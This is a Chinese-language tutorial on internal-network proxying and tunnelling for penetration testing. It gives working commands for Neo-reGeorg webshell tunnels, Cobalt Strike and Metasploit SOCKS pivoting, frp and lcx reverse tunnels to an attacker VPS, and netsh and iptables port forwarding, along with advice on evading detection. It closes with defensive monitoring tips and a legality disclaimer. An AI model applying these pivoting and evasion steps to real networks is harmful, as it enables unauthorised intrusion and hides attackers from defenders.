一、什么是内网代理?

内网代理是内网渗透中的核心技术之一,它允许攻击者通过一个已控制的主机(通常称为“跳板机”或“代理服务器”)来访问和探测内网中的其他资源。简单来说,就像你无法直接进入一个封闭的小区,但你可以通过一个已经进入小区的朋友帮你传递物品和消息一样。

在内网环境中,很多服务器和主机都处于隔离状态,无法直接从外部互联网访问。这时候,内网代理就成为了连接外部攻击机和内部目标网络的桥梁。通过建立代理通道,攻击者可以绕过网络边界防护,对内网进行深度渗透。

二、为什么需要内网代理?

  1. 突破网络隔离:大多数企业内网都有严格的网络分区,不同部门、不同安全级别的网络之间相互隔离。代理技术可以帮助攻击者穿越这些隔离区。

  2. 隐藏真实身份:通过代理服务器转发流量,可以隐藏攻击者的真实IP地址,增加溯源难度。

  3. 访问受限资源:内网中的某些服务(如数据库、文件服务器、管理后台等)通常只允许内网IP访问,代理可以让外部攻击机“变成”内网主机来访问这些资源。

  4. 维持持久访问:即使初始入口点被发现和清除,通过建立的代理通道,攻击者仍然可以保持对内网的访问能力。

三、正向代理 vs 反向代理

这是内网代理中最核心的两个概念,理解它们的区别至关重要:

正向代理(Forward Proxy)

正向代理就像是你的“代言人”。当你(客户端)想要访问某个网站(目标服务器),但无法直接访问时,你可以通过正向代理服务器来帮你访问。

工作原理

  • 攻击者控制的内网主机监听某个端口

  • 攻击机连接到这个端口

  • 所有通过这个端口的流量都会被转发到内网目标

  • 内网目标看到的请求来源是代理服务器,而不是真正的攻击机

适用场景:当内网主机可以出网(能连接外网)时使用。

反向代理(Reverse Proxy)

反向代理则像是目标的“接待员”。内网主机主动连接到攻击者控制的服务器,形成一个从内到外的通道。

工作原理

  • 攻击者在公网服务器上开启监听端口

  • 内网主机主动连接到这个端口

  • 形成一个稳定的通信隧道

  • 攻击机通过这个隧道访问内网资源

适用场景:当内网主机不能出网(无法连接外网)时使用。

四、常用内网代理工具详解

1. 基于Web的代理工具

reGeorg/Neo-reGeorg

这是最经典的Web代理工具之一,特别适合在只能通过Web服务通信的环境中建立代理。

工作原理

  • 上传一个特殊的WebShell文件到目标服务器

  • 这个WebShell文件可以接收HTTP请求并转发TCP流量

  • 攻击者本地运行客户端连接这个WebShell

  • 形成一个SOCKS5代理通道

使用方法

# 生成WebShell代理脚本
python3 neoreg.py generate -k yourpassword

# 将生成的脚本上传到目标服务器Web目录

# 连接代理脚本
python3 neoreg.py -k yourpassword -u http://target.com/tunnel.php

优点:隐蔽性好,只使用正常的HTTP/HTTPS端口,不易被防火墙拦截。

Pystinger

Pystinger是另一个基于WebShell的代理工具,它通过WebShell实现内网SOCKS4代理和端口映射。

特点

  • 支持端口映射,可以使目标在不出网的情况下上线

  • 相对reGeorg更加轻量

  • 支持多种WebShell类型

2. 专业渗透测试框架的代理功能

Cobalt Strike

Cobalt Strike是内网渗透中最常用的商业工具之一,其代理功能非常强大。

SOCKS代理功能

# 在Beacon中开启SOCKS代理
beacon> socks 8080

# 停止SOCKS代理
beacon> socks stop

SMB Beacon

通过Windows命名管道进行通信,相对HTTP更加隐蔽。SMB Beacon可以在不出网的情况下,通过已控制的机器作为跳板,访问更深层的内网。

Metasploit Framework

Metasploit也提供了完整的代理功能。

路由添加

# 添加路由
run autoroute -s 192.168.1.0/24

# 开启SOCKS代理
use auxiliary/server/socks_proxy
set VERSION 4a
run

3. 内网穿透工具

frp(Fast Reverse Proxy)

frp是一个高性能的反向代理工具,支持TCP、UDP、HTTP、HTTPS等多种协议。

最新特性(2025年更新)

frp v0.68版本新增了AI能力,支持持久化存储和API操作,可以通过AI添加、删除代理。

基本配置

# frpc.ini(客户端配置)
serverAddr = "your-vps-ip"
serverPort = 7000
auth.token = "your-token"

[[proxies]]
name = "socks5-proxy"
type = "tcp"
remotePort = 1080
plugin = "socks5"
nps

nps是另一款轻量级、高性能的内网穿透代理服务器,由Go语言开发。

特点

  • 支持TCP、UDP流量转发

  • 支持内网HTTP代理、SOCKS5代理

  • 带有功能强大的Web管理端

  • 支持P2P穿透

4. 端口转发工具

lcx/portmap

这是最经典的端口转发工具,虽然年代较久,但在某些场景下仍然有效。

使用方法

# 在目标机器上
lcx.exe -slave 攻击机IP 9999 127.0.0.1 3389

# 在攻击机上
./portmap -m 2 -p1 9999 -p2 33889
操作系统自带工具

Windows和Linux都自带端口转发功能,无需额外安装工具,隐蔽性更好。

Windows netsh命令

# 添加端口映射
netsh interface portproxy add v4tov4 listenport=40050 connectaddress=192.168.1.10 connectport=50000

# 查看端口映射
netsh interface portproxy show v4tov4

Linux iptables命令

# 端口转发
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.100 --dport 80 -j SNAT --to-source 本机IP

五、实战搭建代理步骤

场景一:目标服务器可以出网

使用frp搭建SOCKS5代理

  1. 准备公网服务器

    • 购买或准备一台有公网IP的VPS

    • 在服务器上安装frp服务端(frps)

  2. 配置服务端

    # frps.ini
    [common]
    bind_port = 7000
    token = your-secret-token
  3. 在目标服务器部署客户端

    • 下载对应系统的frp客户端

    • 配置frpc.ini:

    [common]
    server_addr = 你的VPS-IP
    server_port = 7000
    token = your-secret-token
    
    [socks5]
    type = tcp
    remote_port = 1080
    plugin = socks5
  4. 启动服务

    # 服务端
    ./frps -c frps.ini
    
    # 客户端
    ./frpc -c frpc.ini
  5. 配置代理客户端

    • 在攻击机上配置SOCKS5代理

    • 代理地址:你的VPS-IP:1080

场景二:目标服务器不能出网

使用Neo-reGeorg建立代理

  1. 生成WebShell

    python3 neoreg.py generate -k mypassword
  2. 上传WebShell

    • 将生成的tunnel文件上传到目标服务器的Web目录

    • 确保可以通过HTTP访问到该文件

  3. 连接代理

    python3 neoreg.py -k mypassword -u http://target.com/tunnel.aspx
  4. 配置本地代理

    • Neo-reGeorg会在本地开启一个SOCKS5代理端口(默认1080)

    • 使用Proxifier或proxychains配置代理即可访问内网

场景三:使用Cobalt Strike

  1. 获取Beacon会话

    • 通过钓鱼、漏洞利用等方式在目标机器上运行Beacon

  2. 开启SOCKS代理

    beacon> socks 1080
  3. 配置路由

    • 如果目标在内网多层中,需要添加路由

    beacon> route add 192.168.2.0 255.255.255.0 1
  4. 使用代理工具

    • 配置Proxifier或proxychains使用127.0.0.1:1080作为代理

六、2025年内网代理技术新趋势

1. AI增强的代理工具

最新的frp v0.68版本已经集成了AI能力,可以自动管理代理配置,实现智能化的代理管理。这意味着未来的代理工具可能会更加智能化,能够根据网络环境自动调整代理策略。

2. 白流量代理技术

为了绕过现代安全设备的检测,出现了利用合法服务流量进行代理的技术。例如MasterV2.1框架中的OneDriver-C2模块,利用OneDrive的合法流量进行通信,极大提高了隐蔽性。

3. 无VPS代理方案

传统代理需要公网VPS作为中转,但现在出现了无需VPS的代理方案。这些方案利用云服务、CDN等现有基础设施,降低了攻击成本和被发现的概率。

4. 多层代理链

随着企业安全防护的加强,单层代理已经难以满足需求。现代内网渗透中经常使用多层代理链,每层使用不同的协议和技术,增加检测难度。

5. 协议混淆和加密

为了对抗流量分析,现代代理工具普遍加入了协议混淆和强加密功能。流量看起来像正常的HTTPS、DNS或云服务流量,实际却是代理通信。

七、代理使用的最佳实践

1. 选择合适的代理工具

  • 能出网的环境:优先使用frp、nps等反向代理工具

  • 不能出网但能访问Web:使用reGeorg、Neo-reGeorg等Web代理

  • 已获得高权限会话:使用Cobalt Strike或Metasploit的内置代理功能

  • 需要高度隐蔽:使用操作系统自带的端口转发功能

2. 代理链的构建

在内网渗透中,经常需要构建多级代理链:

攻击机 → VPS(第一层代理) → DMZ主机(第二层代理) → 核心区主机(第三层代理) → 最终目标

每层使用不同的工具和技术,增加安全设备检测的难度。

3. 流量控制与隐蔽

  • 控制代理流量:避免大流量传输,尽量在非工作时间使用

  • 使用加密:所有代理流量都应该加密

  • 协议伪装:将代理流量伪装成正常业务流量

  • 定期更换:定期更换代理配置和端口

4. 错误排查

  • 连接失败:检查防火墙规则、端口是否开放、代理配置是否正确

  • 速度慢:可能是网络延迟或代理工具性能问题,尝试更换工具或优化配置

  • 被检测:立即停止使用当前代理,分析可能的原因,更换代理方案

八、安全防护建议

对于防御方来说,了解攻击者的代理技术同样重要:

1. 网络监控

  • 异常端口监控:监控非标准端口的连接

  • 流量分析:分析网络流量模式,检测异常代理流量

  • 连接频率监控:监控异常的外连频率和模式

2. 主机防护

  • 进程监控:监控异常进程和网络连接

  • 文件监控:监控Web目录下的可疑文件

  • 服务监控:监控异常的系统服务

3. 安全策略

  • 最小权限原则:严格控制每台主机的网络访问权限

  • 网络隔离:实施严格的网络分区和访问控制

  • 定期审计:定期审计网络配置和访问日志

九、总结

内网代理技术是内网渗透的核心技能之一。从传统的端口转发到现代的AI增强代理,技术不断演进,但核心思想不变:通过已控制的节点访问更深层的网络资源。

对于初学者来说,掌握内网代理技术需要:

  1. 理解基本原理:特别是正向代理和反向代理的区别

  2. 熟练使用常用工具:至少掌握2-3种代理工具的用法

  3. 结合实际环境选择方案:没有最好的工具,只有最适合当前环境的工具

  4. 注重隐蔽性和稳定性:代理的隐蔽性和稳定性同样重要

  5. 持续学习新技术:安全技术日新月异,需要不断学习新的代理技术和方法

随着网络安全防护的不断加强,内网代理技术也在不断进化。2025年的趋势显示,AI增强、白流量利用、无VPS方案等新技术正在改变内网渗透的面貌。无论是攻击方还是防御方,都需要紧跟技术发展,才能在网络攻防中占据主动。

记住,技术本身没有善恶,关键在于使用者的意图。学习这些技术是为了更好地保护网络安全,而不是进行非法攻击。在实际工作中,请务必遵守法律法规和职业道德规范。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐